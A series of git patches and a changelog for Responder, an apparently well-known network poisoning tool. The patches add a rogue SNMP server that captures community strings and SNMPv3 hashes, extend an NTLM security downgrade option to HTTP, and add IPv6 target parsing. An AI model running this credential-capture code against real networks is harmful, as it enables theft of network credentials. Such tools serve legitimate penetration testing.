5c1b94e..c6350a4 100755 --- a/Responder.conf +++ b/Responder.conf @@ -15,6 +15,7 @@ DNS = On LDAP = On DCERPC = On WINRM = On +SNMP = Off ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index aeab473..6ef8862 100755 --- a/Responder.py +++ b/Responder.py @@ -365,6 +365,10 @@ def main(): threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) + if settings.Config.SNMP_On_Off: + from servers.SNMP import SNMP + threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,))) + for thread in threads: thread.daemon = True thread.start() diff --git a/servers/SNMP.py b/servers/SNMP.py new file mode 100755 index 0000000..5ba69cf --- /dev/null +++ b/servers/SNMP.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from pyasn1.codec.der.decoder import decode + + +class SNMP(BaseRequestHandler): + def handle(self): + data = self.request[0] + received_record, rest_of_substrate = decode(data) + + snmp_version = int(received_record['field-0']) + + if snmp_version > 1: + # TODO: Add support for SNMPv3 (which will have a field-0 value of 2) + print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:",""))) + return + + community_string = str(received_record['field-1']) + + SaveToDb( + { + "module": "SNMP", + "type": "Cleartext", + "client": self.client_address[0], + "user": community_string, + "cleartext": community_string, + "fullhash": community_string, + } + ) diff --git a/settings.py b/settings.py index bae810a..0367f24 100755 --- a/settings.py +++ b/settings.py @@ -99,6 +99,7 @@ class Settings: self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) + self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP')) # Db File self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) @@ -178,6 +179,7 @@ class Settings: self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + self.SNMPLog = os.path.join(self.LogDir, 'SNMP-Clear-Text-Password-%s.txt') self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') diff --git a/utils.py b/utils.py index 1ecea92..8b9175f 100755 --- a/utils.py +++ b/utils.py @@ -509,6 +509,7 @@ def StartupMessage(): print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) + print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled)) print('') print(color("[+] ", 2, 1) + "HTTP Options:") From 660b6ca309558e597da6789216afca861bcf4d45 Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Tue, 8 Nov 2022 12:23:01 +0100 Subject: [PATCH 041/114] Extend --disable-ess to HTTP --- packets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packets.py b/packets.py index 03ec50f..ecff5f7 100755 --- a/packets.py +++ b/packets.py @@ -359,7 +359,7 @@ class NTLM_Challenge(Packet): ("TargetNameLen", "\x06\x00"), ("TargetNameMaxLen", "\x06\x00"), ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), + ("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"), ("ServerChallenge", ""), ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("TargetInfoLen", "\x7e\x00"), From f39079da77cbf6d6afa9632dcdf70ff76da18cf8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 8 Nov 2022 09:22:41 -0300 Subject: [PATCH 042/114] Revert "run smbv1 scan in runfinger" --- tools/RunFinger.py | 383 +++++++++++++++++++++------------------------ 1 file changed, 181 insertions(+), 202 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 8190286..7a9cd5f 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -32,9 +32,7 @@ parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) parser.add_option('-f','--filename', action="store", help="Target file", dest="Filename", metavar="ips.txt", default=None) -parser.add_option('-o','--outfile', action="store", help="Output file", dest="OutFilename", metavar="output.txt", default=None) parser.add_option('-t','--timeout', action="store", help="Timeout for all connections. Use this option to fine tune Runfinger.", dest="Timeout", type="float", metavar="0.9", default=2) -parser.add_option('-s','--smbv1', action='store_true', help="Enable smbv1 scan", dest="Smbv1", default=False) options, args = parser.parse_args() @@ -46,11 +44,9 @@ if options.TARGET == None and options.Filename == None: Timeout = options.Timeout Host = options.TARGET Filename = options.Filename -Outputfile = None if options.OutFilename==None else open(options.OutFilename,"w") SMB1 = "True" SMB2signing = "False" DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db" -SCAN_SMBV1 = options.Smbv1 class Packet(): fields = OrderedDict([ @@ -73,10 +69,10 @@ else: if not os.path.exists(DB): - cursor = sqlite3.connect(DB) - cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') - cursor.commit() - cursor.close() + cursor = sqlite3.connect(DB) + cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)') + cursor.commit() + cursor.close() def StructWithLenPython2or3(endian,data): #Python2... @@ -103,108 +99,104 @@ def longueur(payload): return length def ParseNegotiateSMB2Ans(data): - if data[4:8] == b"\xfeSMB": - return True - else: - return False + if data[4:8] == b"\xfeSMB": + return True + else: + return False def SMB2SigningMandatory(data): - global SMB2signing - if data[70] == "\x03": - SMB2signing = "True" - else: - SMB2signing = "False" + global SMB2signing + if data[70] == "\x03": + SMB2signing = "True" + else: + SMB2signing = "False" def WorkstationFingerPrint(data): - return { - b"\x04\x00" :"Windows 95", - b"\x04\x0A" :"Windows 98", - b"\x04\x5A" :"Windows ME", - b"\x05\x00" :"Windows 2000", - b"\x05\x01" :"Windows XP", - b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", - b"\x06\x00" :"Windows Vista/Server 2008", - b"\x06\x01" :"Windows 7/Server 2008R2", - b"\x06\x02" :"Windows 8/Server 2012", - b"\x06\x03" :"Windows 8.1/Server 2012R2", - b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", - }.get(data, 'Other than Microsoft') + return { + b"\x04\x00" :"Windows 95", + b"\x04\x0A" :"Windows 98", + b"\x04\x5A" :"Windows ME", + b"\x05\x00" :"Windows 2000", + b"\x05\x01" :"Windows XP", + b"\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + b"\x06\x00" :"Windows Vista/Server 2008", + b"\x06\x01" :"Windows 7/Server 2008R2", + b"\x06\x02" :"Windows 8/Server 2012", + b"\x06\x03" :"Windows 8.1/Server 2012R2", + b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)", + }.get(data, 'Other than Microsoft') def GetOsBuildNumber(data): - ProductBuild = struct.unpack(" Date: Fri, 18 Nov 2022 18:21:23 +0100 Subject: [PATCH 043/114] SNMPv3 support --- servers/SNMP.py | 46 +++++++++++++++++++++++++++++----------------- 1 file changed, 29 insertions(+), 17 deletions(-) diff --git a/servers/SNMP.py b/servers/SNMP.py index 5ba69cf..718b5e3 100755 --- a/servers/SNMP.py +++ b/servers/SNMP.py @@ -15,15 +15,14 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * +from binascii import hexlify +from pyasn1.codec.ber.decoder import decode if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -from pyasn1.codec.der.decoder import decode - - class SNMP(BaseRequestHandler): def handle(self): data = self.request[0] @@ -31,20 +30,33 @@ class SNMP(BaseRequestHandler): snmp_version = int(received_record['field-0']) - if snmp_version > 1: - # TODO: Add support for SNMPv3 (which will have a field-0 value of 2) - print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:",""))) - return + if snmp_version == 3: + full_snmp_msg = hexlify(data).decode('utf-8') + received_record_inner, _ = decode(received_record['field-2']) + snmp_user = str(received_record_inner['field-3']) + engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8') + auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8') - community_string = str(received_record['field-1']) - SaveToDb( - { + SaveToDb({ "module": "SNMP", - "type": "Cleartext", - "client": self.client_address[0], - "user": community_string, - "cleartext": community_string, - "fullhash": community_string, - } - ) + "type": "SNMPv3", + "client" : self.client_address[0], + "user": snmp_user, + "hash": auth_params, + "fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params) + }) + else: + community_string = str(received_record['field-1']) + snmp_version = '1' if snmp_version == 0 else '2c' + + SaveToDb( + { + "module": "SNMP", + "type": "Cleartext SNMPv{}".format(snmp_version), + "client": self.client_address[0], + "user": community_string, + "cleartext": community_string, + "fullhash": community_string, + } + ) From 69f431e58f07c231e75a73b0782855e9277573ac Mon Sep 17 00:00:00 2001 From: kevintellier Date: Wed, 21 Dec 2022 17:57:09 +0100 Subject: [PATCH 044/114] Added full path to gen-self-sign-cert.sh --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 0367f24..986a3d0 100755 --- a/settings.py +++ b/settings.py @@ -284,7 +284,7 @@ class Settings: pass else: #If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null - Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1") + Certs = os.system(self.ResponderPATH+"/certs/gen-self-signed-cert.sh >/dev/null 2>&1") try: NetworkCard = subprocess.check_output(["ifconfig", "-a"]) From 8953f87bbd1cefae878e6bd6b4f69bf944542bd2 Mon Sep 17 00:00:00 2001 From: also-here Date: Fri, 3 Mar 2023 16:20:22 -0600 Subject: [PATCH 045/114] Update settings.py to expand IPv6 addresses. Still handles IPv4 addresses as well. --- settings.py | 61 ++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 44 insertions(+), 17 deletions(-) diff --git a/settings.py b/settings.py index 0367f24..d74f2b7 100755 --- a/settings.py +++ b/settings.py @@ -42,25 +42,52 @@ class Settings: return str.upper() == 'ON' def ExpandIPRanges(self): - def expand_ranges(lst): + def expand_ranges(lst): ret = [] for l in lst: - tab = l.split('.') - x = {} - i = 0 - for byte in tab: - if '-' not in byte: - x[i] = x[i+1] = int(byte) - else: - b = byte.split('-') - x[i] = int(b[0]) - x[i+1] = int(b[1]) - i += 2 - for a in range(x[0], x[1]+1): - for b in range(x[2], x[3]+1): - for c in range(x[4], x[5]+1): - for d in range(x[6], x[7]+1): - ret.append('%d.%d.%d.%d' % (a, b, c, d)) + if ':' in l: #For IPv6 addresses, similar to the IPv4 version below but hex and pads :'s to expand shortend addresses + while l.count(':') < 7: + pos = l.find('::') + l = l[:pos] + ':' + l[pos:] + tab = l.split(':') + x = {} + i = 0 + for byte in tab: + if byte == '': + byte = '0' + if '-' not in byte: + x[i] = x[i+1] = int(byte, base=16) + else: + b = byte.split('-') + x[i] = int(b[0], base=16) + x[i+1] = int(b[1], base=16) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + for e in range(x[8], x[9]+1): + for f in range(x[10], x[11]+1): + for g in range(x[12], x[13]+1): + for h in range(x[14], x[15]+1): + ret.append('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) + else: + tab = l.split('.') + x = {} + i = 0 + for byte in tab: + if '-' not in byte: + x[i] = x[i+1] = int(byte) + else: + b = byte.split('-') + x[i] = int(b[0]) + x[i+1] = int(b[1]) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + ret.append('%d.%d.%d.%d' % (a, b, c, d)) return ret self.RespondTo = expand_ranges(self.RespondTo) From 3f5c836ba0926bdf3a4dabceea8cf3864edaf4a2 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 18:33:48 -0600 Subject: [PATCH 046/114] Update settings.py compresses expanded IPv6 addresses --- settings.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/settings.py b/settings.py index d74f2b7..4db117c 100755 --- a/settings.py +++ b/settings.py @@ -52,6 +52,7 @@ class Settings: tab = l.split(':') x = {} i = 0 + xaddr = '' for byte in tab: if byte == '': byte = '0' @@ -70,7 +71,10 @@ class Settings: for f in range(x[10], x[11]+1): for g in range(x[12], x[13]+1): for h in range(x[14], x[15]+1): - ret.append('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) + xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) + xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address + xaddr = re.sub(':{3,7}', '::', xaddr, count = 7) + ret.append(xaddr.upper()) else: tab = l.split('.') x = {} From 6a11fe8b6ab29577071b2df7220c59682f3019e4 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 18:40:32 -0600 Subject: [PATCH 047/114] Updated with some IPv6 Added IPv6 options to RespondTo and DontRespondTo --- Responder.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Responder.conf b/Responder.conf index c6350a4..025bab0 100755 --- a/Responder.conf +++ b/Responder.conf @@ -38,7 +38,7 @@ AnalyzeLog = Analyzer-Session.log ResponderConfigDump = Config-Responder.log ; Specific IP Addresses to respond to (default = All) -; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 +; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 RespondTo = ; Specific NBT-NS/LLMNR names to respond to (default = All) @@ -47,7 +47,7 @@ RespondTo = RespondToName = ; Specific IP Addresses not to respond to (default = None) -; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 +; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 DontRespondTo = ; Specific NBT-NS/LLMNR names not to respond to (default = None) From 5ec5412fb931cdba0f63276e807e547287eb4e07 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 18:57:08 -0600 Subject: [PATCH 048/114] Update settings.py removed redundant upper() --- settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/settings.py b/settings.py index 4db117c..68429f1 100755 --- a/settings.py +++ b/settings.py @@ -74,7 +74,7 @@ class Settings: xaddr = ('%x:%x:%x:%x:%x:%x:%x:%x' % (a, b, c, d, e, f, g, h)) xaddr = re.sub('(^|:)0{1,4}', ':', xaddr, count = 7)#Compresses expanded IPv6 address xaddr = re.sub(':{3,7}', '::', xaddr, count = 7) - ret.append(xaddr.upper()) + ret.append(xaddr) else: tab = l.split('.') x = {} From e36fafb7830242487bd76e84fc84a5805df28ce5 Mon Sep 17 00:00:00 2001 From: also-here Date: Sun, 5 Mar 2023 19:13:25 -0600 Subject: [PATCH 049/114] Update Responder.conf added Don't Respond To instructions --- Responder.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/Responder.conf b/Responder.conf index 025bab0..bae25f9 100755 --- a/Responder.conf +++ b/Responder.conf @@ -47,6 +47,7 @@ RespondTo = RespondToName = ; Specific IP Addresses not to respond to (default = None) +; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding. ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 DontRespondTo = From feecf8ed0b5485e40d2c9056f2e53853d8aa4ced Mon Sep 17 00:00:00 2001 From: steven <33377370+SilverSteven@users.noreply.github.com> Date: Thu, 9 Mar 2023 10:31:01 +0800 Subject: [PATCH 050/114] append changelog to fulfill the license obligation --- CHANGELOG.md | 424 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 424 insertions(+) create mode 100644 CHANGELOG.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..99f2880 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,424 @@ +*In compliance with the [GPL-3.0](https://opensource.org/licenses/GPL-3.0) license: I declare that this version of the program contains my modifications, which can be seen through the usual "git" mechanism.* + + +2022-08 +Contributor(s): +lgandx +>Added: append .local TLD to DontRespondToNames + MDNS bug fix +>Merge pull request #199 from gblomqvist/masterFix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On +>Modified wpad script +>fixed the RespondTo/DontRespondTo issue +>Merge pull request #210 from 0xjbb/masterAdded Quiet Mode +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-07 +Contributor(s): +jb +lgandx +>Minor bugs and display/logging fixes + RDP srv SSLwrapping fix +>Fixed: Warnings on python 3.10 +>Added Quiet mode +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-05 +Contributor(s): +lgandx +>removed -r reference from help msg. +>removed -r references +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-04 +Contributor(s): +Gustaf Blomqvist +>Fix double logging of first hash or cleartext +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-02 +Contributor(s): +Tom Aviv +Andrii Nechytailov +kitchung +lgandx +>Merge pull request #190 from kitchung/kitchung-patch-1DE-RPC server status not correct +>DE-RPC server status not correct #189Line 512 should read: +print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) + +Instead of: +print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled)) +>MutableMapping was moved to collections.abc +>Merge pull request #191 from Mipsters/masterMutableMapping was moved to collections.abc +>Fixed options formating in README +>Merge pull request #188 from Ne4istb/patch-1Fixed options formating in README +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2022-01 +Contributor(s): +lgandx +root +>Updated the README and Responder help flags +>Merge pull request #185 from ajkerley628/masterUpdated the README and Responder help flags +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-12 +Contributor(s): +lgandx +>Added IPv6 support +>Updated the Readme file with the new options and removed some old stuff +>Added date and time for each Responder session config log. +>Remove analyze mode on DNS since you need to ARP to get queries +>Removed the static certs and added automatic cert generation +>added DHCP db & updated the report script to reflect that +>Added DHCP DNS vs WPAD srv injection +>Merge pull request #136 from ghost/patch-2Correct Analyze log filename +>added support for OPT EDNS +>Added DHCP DNS vs DHCP WPAD +>Fixed the ON/OFF for poisoners when in Analyze mode. +>minor display fix. +>added the ability to provide external IP on WPAD poison via DHCP +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-11 +Contributor(s): +lgandx +>DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-10 +Contributor(s): +lgandx +>Added DHCP server +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-05 +Contributor(s): +Pixis +lgandx +pixis +>minor fix +>Add ESS disabling information +>Add --lm switch for ESS downgrade +>Add ESS downgrade parameter +>Merge pull request #163 from Hackndo/masterAdd ESS downgrade parameter +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-04 +Contributor(s): +lgandx +>forgot to add packets.py +>Added WinRM rogue server +>Added dce-rpc module + enhancements + bug fix. +>removed addiontional RR on SRV answers +>Update README.md +>Update README.mdAdded Synacktiv as major donor. +>Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-03 +Contributor(s): +lgandx +>Removed donation banner +>minor fix +>Ported to py3 +>added a check for exec file +>made compatible py2/py3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2021-02 +Contributor(s): +lgandx +>added donation address and minor typo +>Added donation banner. +>added smb filetime support +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-12 +Contributor(s): +lgandx +>Merge pull request #145 from khiemdoan/fix-syntaxFix wrong syntax +>Merge pull request #135 from LabanSkollerDefensify/patch-1Fix typos in README +>Added SMB2 support for RunFinger and various other checks. +>Merge pull request #138 from ThePirateWhoSmellsOfSunflowers/fix_challengefix custom challenge in python3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-11 +Contributor(s): +Khiem Doan +>Fix wrong syntax +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-10 +Contributor(s): +ThePirateWhoSmellsOfSunflowers +>small fix +>fix custom challenge in python3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-09 +Contributor(s): +nickyb +Laban Sköllermark +lgandx +>Merge pull request #133 from NickstaDB/fix-bind-addressUse settings.Config.Bind_To as bind address. +>Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface +>Fix typos in README* Missing "is" in description of the tool +* s/an unique/a unique/ since it starts with a consonant sound +* Move a word to its correct place +>Correct Analyze log filenameThe default filename for Analyze logs is Analyzer-Session.log, not +Analyze-Session.log. +>Use settings.Config.Bind_To as bind address. +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-08 +Contributor(s): +lgandx +>python3.8 compability fix +>py3 bugfix +>version update +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-02 +Contributor(s): +lgandx +Sophie Brun +>Fix encoding issue in Python 3 +>Merge pull request #117 from sbrun/masterFix encoding issue in Python 3 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2020-01 +Contributor(s): +lgandx +>Added py3 and py2 compatibility + many bugfix +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-08 +Contributor(s): +lgandx +>Added RDP rogue server +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-05 +Contributor(s): +lgandx +>Merge pull request #92 from Crypt0-M3lon/masterFix socket timeout on HTTP POST requests +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-02 +Contributor(s): +Crypt0-M3lon +>Fix socket timeout on HTTP POST requestsRemaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0. +We want to check for Content-Length header only if we received full header. +>Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1Fix socket timeout on HTTP POST requests +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2019-01 +Contributor(s): +Clément Notin +lgandx +>Merge pull request #89 from cnotin/patch-1Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 +>Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2 +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-11 +Contributor(s): +lgandx +>removed debug string +>Merge pull request #86 from mschader/patch-1Update README.md: Fix typo +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-10 +Contributor(s): +Markus +>Update README.md: Fix typoFixed just a tiny typo. +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-08 +Contributor(s): +Clément Notin +lgandx +>Fix version number in settings.py +>Fix multi HTTP responses +>Merge pull request #83 from cnotin/patch-2Fix multi HTTP responses +>Merge pull request #80 from myst404/masterBetter handling of cleartext credentials +>Merge pull request #82 from cnotin/patch-1Fix version number in settings.py +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2018-06 +Contributor(s): +myst404 +>Better handling of cleartext credentials +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-11 +Contributor(s): +Lionel PRAT +lgandx +>Add ignore case on check body for html inject +>Merge pull request #67 from lprat/masterAdd ignore case on check body for html inject +>Merge pull request #51 from watersalesman/masterFixed instances of "CRTL-C" to "CTRL-C" +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-09 +Contributor(s): +lgandx +>Changed the complete LDAP parsing hash algo (ntlmv2 bug). +>Fixed various bugs and improved the LDAP module. +>Several Bugfix +>added support for plain auth +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-08 +Contributor(s): +OJ +lgandx +>Pass Challenge value to the LDAP parsing function +>Merge pull request #61 from OJ/fix-ldap-hash-parsingPass Challenge value to the LDAP parsing function +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-07 +Contributor(s): +lgandx +>Merge pull request #58 from megabug/mssql-browserAdd Microsoft SQL Server Browser responder +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-06 +Contributor(s): +Matthew Daley +>Add Microsoft SQL Server Browser responderWhen connecting to a named instance, a SQL client (at least SQL ServerNative Client) will send a request (namely a CLNT_UCAST_INST message) tothe server's SQL Server Browser service for instance connectioninformation. If it gets no response, the connection attempt fails.By adding a SQL Server Browser responder for these requests, we ensurethat connections are successfully made to the SQL Server responder forhash capture.As per the comment, this is based on the document "[MC-SQLR]: SQL ServerResolution Protocol", currently available at. +>Update README.md with new SQL Browser port usage +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-04 +Contributor(s): +Randy Ramos +>Fixed instances of "CRTL-C" to "CTRL-C" +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-03 +Contributor(s): +lgandx +>Fixed bug in FindSMB2UPTime +>Removed Paypal donation link. +>updated readme +>MultiRelay 2.0 Release +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-02 +Contributor(s): +skelsec +lgandx +Gifts +>Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string +>minor fix +>Merge pull request #25 from joshuaskorich/masteradded `ip` commands in addition to ifconfig and netstat +>SimpleSSL +>making HTTP great again +>Merge pull request #32 from Gifts/fix_randchallengeFix for RandomChallenge function. +>cleaning up comments +>Added: Hashdump, Stats report +>fixed crash: typo. +>Merge pull request #33 from skelsec/masterFixing HTTP header issue +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2017-01 +Contributor(s): +thejosko +lgandx +>Added: Random challenge for each requests (default) +>added `ip` commands in addition to ifconfig and netstat +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-12 +Contributor(s): +lgandx +>Added paypal button +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-11 +Contributor(s): +lgandx +>Added: BTC donation address +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-10 +Contributor(s): +Nikos Vassakis +lgandx +>Fixed wrong challenge issue +>Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) +>Changed to executable +>fixed bug in hash parsing. +>updated version number +>Patch for Android 4.x terminals that are missing some linux commands +>Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) +>Updated versions +>Minor fix +>Merge pull request #14 from nvssks/masterPatch for Android 4.x terminals that are missing some linux commands +>updated to current version. +- - - - - - - - - - - - - - - - - - - - - - - - - - - + + +2016-09 +Contributor(s): +lgaffie +lgandx +>bug: removed loop, while connection handled by basehttpserver +>updated version +>Added proxy auth server + various fixes and improvements +>Added SMBv2 support enabled by default. +>minor fix +>Added support for webdav, auto credz. +>Added current date for all HTTP headers, avoiding easy detection +>removed debug info +>Added option -e, specify an external IP address to redirect poisoned traffic to. +>Config dumped independently. Responder-Session.log is now a clean file. +>Reflected recent changes. +>Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump +>minor bug fix +>Fixed colors in log files +>Firefox blacklisted on WPAD since it doesn't honors fail-over proxies. Added SO_LINGER to send RST when close() is called. +>Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. +>minor fixes +>Minor fixes +>Removed useless HTTP headers +>Minor fix +- - - - - - - - - - - - - - - - - - - - - - - - - - - + From 5c83b7c45bbe1b54922611f9032f8c5fe8932dc0 Mon Sep 17 00:00:00 2001 From: also-here Date: Tue, 14 Mar 2023 21:21:19 -0500 Subject: [PATCH 051/114] Update LLMNR.py Added a IPv6 check for the DNS address. IsOnTheSameSubnet does not currently support IPv6 which is fine as ICMP-Redirecy.py currently does not yet 